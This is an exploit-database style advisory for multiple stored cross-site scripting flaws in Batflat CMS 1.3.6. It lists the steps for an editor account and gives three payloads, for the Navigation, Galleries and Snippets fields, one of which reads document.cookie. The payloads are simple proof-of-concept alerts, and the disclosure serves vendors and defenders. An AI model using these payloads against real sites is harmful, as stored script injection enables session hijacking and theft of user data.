Batflat CMS 1.3.6 Cross Site Scripting

Batflat CMS version 1.3.6 suffers from multiple persistent cross site scripting vulnerabilities.


MD5 | c1f79d85745a8a9fcd828d3d01d26ec1

# Exploit Title: Batflat CMS 1.3.6 - 'multiple' Stored XSS
# Date: 22/02/2021
# Exploit Author: Tadjmen
# Vendor Homepage: https://batflat.org/
# Software Link: https://github.com/sruupl/batflat/archive/master.zip
# Version: 1.3.6
# Tested on: Xammpp on Windows, Firefox Newest
# CVE : N/A

Multiple Stored XSS Cross-Site Scripting on Batflat CMS 1.3.6

Login with editor account with rights to Navigation, Galleries, Snippets

Navigation
- Add link
payload: "><img src=x onerror=alert(document.cookie)>

Galleries
- Add gallery
payload: mlem"><svg/onload=alert(1)>

Snippets
- Add Snippets
payload: mlem"><svg/onload=alert("TuongNC")>

More information:
https://github.com/sruupl/batflat/issues/105

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